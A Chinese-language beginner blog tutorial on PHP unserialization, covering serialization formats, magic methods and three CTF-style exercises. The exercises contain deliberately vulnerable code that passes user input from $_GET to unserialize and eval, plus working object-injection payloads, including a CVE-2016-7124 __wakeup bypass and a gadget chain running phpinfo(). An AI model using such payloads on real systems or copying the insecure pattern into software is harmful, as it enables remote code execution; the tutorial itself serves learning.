WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

其它

关于博客

面试

杂谈

php反序列化入门

最近学了一下php反序列化,准备记录一下,如果有误的地方还麻烦大佬指出

0x01 序列化

先看看常见的类型序列化之后格式是怎么样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$num = 123;
$float = 1.2;
$str = 'test';
$null = NULL;
$bool = true;
$arr = array(1,'test', 'x' => 'b');
class OBJ{
public $public = 'public';
protected $protected = 'protected';
private $private = 'private';
var $str;

function test(){
echo 'test';
}
}

echo serialize($str)."\n";
echo serialize($num)."\n";
echo serialize($float)."\n";
echo serialize($null)."\n";
echo serialize($bool)."\n";
echo serialize($arr)."\n";
$obj = NEW OBJ();
echo serialize($obj)."\n";
echo urlencode(serialize($obj))
?>

这里有数字,字符串,NULL,数组,类,序列化之后的格式,下面是输出后的结果

1
2
3
4
5
6
7
s:4:"test";
i:123;
d:1.2;
N;
b:1;
a:3:{i:0;i:1;i:1;s:4:"test";s:1:"x";s:1:"b";}
O:3:"OBJ":4:{s:6:"public";s:6:"public";s:12:" * protected";s:9:"protected";s:12:" OBJ private";s:7:"private";s:3:"str";N;}O%3A3%3A%22OBJ%22%3A4%3A%7Bs%3A6%3A%22public%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00protected%22%3Bs%3A9%3A%22protected%22%3Bs%3A12%3A%22%00OBJ%00private%22%3Bs%3A7%3A%22private%22%3Bs%3A3%3A%22str%22%3BN%3B%7D

字符串序列化 s:(字符串长度):(字符串); s代表字符串str

数字序列化 i:(数字) ;i代表整数类型int

浮点数序列化 d:(数字); d代表浮点数double,查了一下php种double和float好像是相同的

NULL序列化 很简单就是N;

布尔序列化 b:(true为1,false为0);

数组序列化 a代表array,a:(数组内的元素数量):{(下标的类型):(下标的值);(元素的类型):(元素的值);}

类序列化 O代表Object,O:(类名的长度):(类名的字符串):(类中成员变量的数量):{(成员变量名的类型):(成员变量名的长度):(成员变量名);(成员变量的值得类型):(成员变量的值的长度):(成员变量名的值);}

这样写的可能不是很准确,如果成员变量的值不是字符串的话相应的写法也要修改,比如是整形的话就是i:(数字)

然后要说一下类的访问控制

public 公有,类成员可以在任何地方被访问,如果不加public默认为公有

protected 受保护,可以被自身或者子类和父类访问到

private 私有 只能被自身访问

从上面序列化的结果可以看到public变量里面长度都是正常的

protected的格式为(%00%00变量名),上面的例子受保护的变量名长度为12,变量名长度为9,剩下3个是%00%00注意不是空格是%00,这也是为什么后面有用url编码打印一次,因为方便看到

private的格式为(%00类名%00变量名)

最后写了个var只是想表达如果不设置访问控制默认为public

0x02 魔术方法

因为是入门只要知道常见的几个就行了(因为别的我现在也没学得很清楚哈哈)

__construct() 当一个对象被创建时调用
__destruct() 当一个对象被销毁时调用
__sleep() 序列化之前会先调用这个函数
__wakeup() 在反序列化之后立即被调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class test{
public $test='test';
public function a(){
echo $this->test."\n";
}
public function __construct(){
echo '__construct'."\n";
}
public function __destruct(){
echo '__destruct'."\n";
}
public function __sleep(){
echo '__sleep'."\n";
return array("a");
}
public function __wakeup(){
echo '__wakeup'."\n";
}
}

$object = new test();
$serialize = serialize($object);
$unserialize = unserialize($serialize);
$unserialize->a();
?>

下面是输出结果

1
2
3
4
5
6
__construct			#创建一个对象调用__construct
__sleep #序列化调用__sleep
__wakeup #反序列化调用__wakeup
test #调用方法
__destruct #销毁第一个实例
__destruct #销毁第二个反序列化生成的实例

0x03 入门题目

1
2
3
4
5
6
<?php
$str = unserialize($_GET['str']);
if ($str == 'flag'){
echo 'flag';
}
?>

这里不写太复杂了知道意思就行,就是需要让一个字符串反序列化之后和flag相同,那么只需要序列化一下flag字符串就可以得到payload

http://127.0.0.1?str=s:4:"flag";

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctf{
private $code = "";
function __wakeup(){
$this->code='hack';
}

function __destruct(){
eval($this->code);
}
}
$code = unserialize($_GET['code']);
?>

这里有两个知识点一个是__wakeup的绕过,还有一个是私有成员变量要写的不一样

关于__wakeup的绕过可以查看这个漏洞CVE-2016-7124

php5 < 5.6.25

php7 < 7.0.10

当对象成员变量数量大于实际对象成员变量数量,会跳过__wakeup()

私有变量在成员变量名处要写成 %00类名%00变量名

http://127.0.0.1?code=O:3:%22ctf%22:2:{s:9:%22%00ctf%00code%22;s:10:%22phpinfo();%22;}

这样就可以通过eval执行php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}

class B{
function action(){
echo "action B";
}
}

class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test'])
?>

这里是同名方法的利用

因为B和C中同名方法action(),可以构造一个payload让__destruct调用class C的方法执行php代码

class A中的target需要是一个对象才可以调用action()方法,首先反序列化class C

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class C{
public $test='phpinfo();';
function action(){
echo "action A";
eval($this->test);
}
}
$obj = NEW C();
echo serialize($obj);
?>
#O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}

接下来再反序列化class A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
$obj = new A();
echo serialize($obj);
?>
#O:1:"A":1:{s:6:"target";O:1:"B":0:{}}

把后面那个class B改成class C序列化后的字符串,得到payload

http://127.0.0.1?test=O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

最后总结一下就是这篇文章也没写什么高深的吧,就是把自己学到的写出来,以后入门完成了希望写出好文章